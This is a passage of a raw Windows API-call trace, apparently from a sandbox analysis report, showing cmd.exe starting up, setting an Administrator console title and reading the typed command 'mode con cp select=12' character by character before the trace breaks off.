[0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x49619bf8e0, cchData=128 | out: lpLCData="1") returned 2 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7170ebb68, cchData=8 | out: lpLCData="/") returned 2 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7170ebb00, cchData=32 | out: lpLCData="Mon") returned 4 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7170ebac0, cchData=32 | out: lpLCData="Tue") returned 4 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7170eba80, cchData=32 | out: lpLCData="Wed") returned 4 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7170eba40, cchData=32 | out: lpLCData="Thu") returned 4 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7170eba00, cchData=32 | out: lpLCData="Fri") returned 4 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7170eb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7170eb980, cchData=32 | out: lpLCData="Sun") returned 4 [0076.082] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7170ebb58, cchData=8 | out: lpLCData=".") returned 2 [0076.082] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7170ebb40, cchData=8 | out: lpLCData=",") returned 2 [0076.082] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0076.084] GetProcessHeap () returned 0x223cf4c0000 [0076.084] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x0, Size=0x20c) returned 0x223cf4c6560 [0076.084] GetConsoleTitleW (in: lpConsoleTitle=0x223cf4c6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0076.527] _get_osfhandle (_FileHandle=1) returned 0x254 [0076.527] GetFileType (hFile=0x254) returned 0x3 [0076.528] ApiSetQueryApiSetPresence () returned 0x0 [0076.528] ResolveDelayLoadedAPI () returned 0x7ffc2d69d990 [0077.024] BrandingFormatString () returned 0x223cf4c6a50 [0077.033] GetVersion () returned 0x3ad7000a [0077.033] _vsnwprintf (in: _Buffer=0x49619bfa40, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x49619bf9d8 | out: _Buffer="10.0.15063") returned 10 [0077.033] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.033] GetFileType (hFile=0x254) returned 0x3 [0077.033] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7170f7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0077.034] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7170f7f60, nSize=0x2000, Arguments=0x49619bf9e0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0077.034] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.034] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0077.034] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7170e9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x49619bf938, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesWritten=0x49619bf938*=0x26, lpOverlapped=0x0) returned 1 [0077.034] _vsnwprintf (in: _Buffer=0x7ff7170f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x49619bfa08 | out: _Buffer="\r\n") returned 2 [0077.034] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.034] GetFileType (hFile=0x254) returned 0x3 [0077.034] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.035] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7170e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x49619bf9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesWritten=0x49619bf9d8*=0x2, lpOverlapped=0x0) returned 1 [0077.035] _vsnwprintf (in: _Buffer=0x7ff7170f7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x49619bfa08 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0077.035] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.035] GetFileType (hFile=0x254) returned 0x3 [0077.035] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0077.035] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7170e9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x49619bf9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesWritten=0x49619bf9d8*=0x34, lpOverlapped=0x0) returned 1 [0077.035] _vsnwprintf (in: _Buffer=0x7ff7170f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x49619bfa08 | out: _Buffer="\r\n") returned 2 [0077.035] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.035] GetFileType (hFile=0x254) returned 0x3 [0077.035] _get_osfhandle (_FileHandle=1) returned 0x254 [0077.035] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.035] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7170e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x49619bf9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesWritten=0x49619bf9d8*=0x2, lpOverlapped=0x0) returned 1 [0077.036] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffc37f90000 [0077.036] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="CopyFileExW") returned 0x7ffc37fae830 [0077.036] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="IsDebuggerPresent") returned 0x7ffc37fae300 [0077.036] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffc35d70a40 [0077.036] ??_V@YAXPEAX@Z () returned 0x1 [0077.037] _get_osfhandle (_FileHandle=0) returned 0x248 [0077.037] GetFileType (hFile=0x248) returned 0x3 [0077.037] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0077.037] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x49619bf848 | out: TokenHandle=0x49619bf848*=0x0) returned 0xc000007c [0077.037] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x49619bf848 | out: TokenHandle=0x49619bf848*=0x98) returned 0x0 [0077.037] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x49619bf7f8, TokenInformationLength=0x4, ReturnLength=0x49619bf800 | out: TokenInformation=0x49619bf7f8, ReturnLength=0x49619bf800) returned 0x0 [0077.037] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x49619bf800, TokenInformationLength=0x4, ReturnLength=0x49619bf7f8 | out: TokenInformation=0x49619bf800, ReturnLength=0x49619bf7f8) returned 0x0 [0077.037] NtClose (Handle=0x98) returned 0x0 [0077.037] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x49619bf810, nSize=0x0, Arguments=0x49619bf818 | out: lpBuffer="᧰콌ȣ") returned 0xf [0077.038] GetProcessHeap () returned 0x223cf4c0000 [0077.038] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x218) returned 0x223cf4c6c30 [0077.039] GetConsoleTitleW (in: lpConsoleTitle=0x49619bf860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0077.926] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0077.926] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0078.651] GetProcessHeap () returned 0x223cf4c0000 [0078.651] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c6c30) returned 1 [0078.651] LocalFree (hMem=0x223cf4c19f0) returned 0x0 [0078.652] _vsnwprintf (in: _Buffer=0x7ff7170f7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x49619bf688 | out: _Buffer="\r\n") returned 2 [0078.652] _get_osfhandle (_FileHandle=1) returned 0x254 [0078.652] GetFileType (hFile=0x254) returned 0x3 [0078.652] _get_osfhandle (_FileHandle=1) returned 0x254 [0078.652] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.652] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7170e9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x49619bf658, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesWritten=0x49619bf658*=0x2, lpOverlapped=0x0) returned 1 [0078.652] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.652] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x223cf690080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0078.652] malloc (_Size=0x107ce) returned 0x223cf6a0060 [0078.653] _vsnwprintf (in: _Buffer=0x223cf6a0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x49619bf698 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0078.653] _vsnwprintf (in: _Buffer=0x223cf6a008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x49619bf698 | out: _Buffer=">") returned 1 [0078.653] _get_osfhandle (_FileHandle=1) returned 0x254 [0078.653] GetFileType (hFile=0x254) returned 0x3 [0078.653] _get_osfhandle (_FileHandle=1) returned 0x254 [0078.653] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0078.653] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7170e9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x49619bf688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesWritten=0x49619bf688*=0x18, lpOverlapped=0x0) returned 1 [0078.653] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.653] GetFileType (hFile=0x248) returned 0x3 [0078.653] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.653] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.654] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0078.654] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.654] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.654] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0078.654] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.654] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.654] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0078.654] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.654] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.654] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0078.654] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.654] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.654] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0078.654] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.654] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.654] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0078.655] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.655] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.655] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0078.655] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.655] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.655] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0078.655] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.655] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.655] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0078.655] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.655] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.655] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0078.655] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.655] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.655] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0078.655] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.655] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.655] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0078.655] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.656] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.656] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0078.656] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.656] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.656] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0078.656] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.656] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.656] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0078.656] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.656] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.656] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0078.656] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.656] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.656] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0078.656] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.656] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.656] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0078.656] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.656] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.657] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0078.657] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.657] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.657] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0078.657] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.657] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.657] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7170e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x49619bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7170e9970*, lpNumberOfBytesRead=0x49619bf9e8*=0x1, lpOverlapped=0x0) returned 1 [0078.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7170e9970, cbMultiByte=1, lpWideCharStr=0x7ff7170f3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0078.657] _get_osfhandle (_FileHandle=0) returned 0x248 [0078.657] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 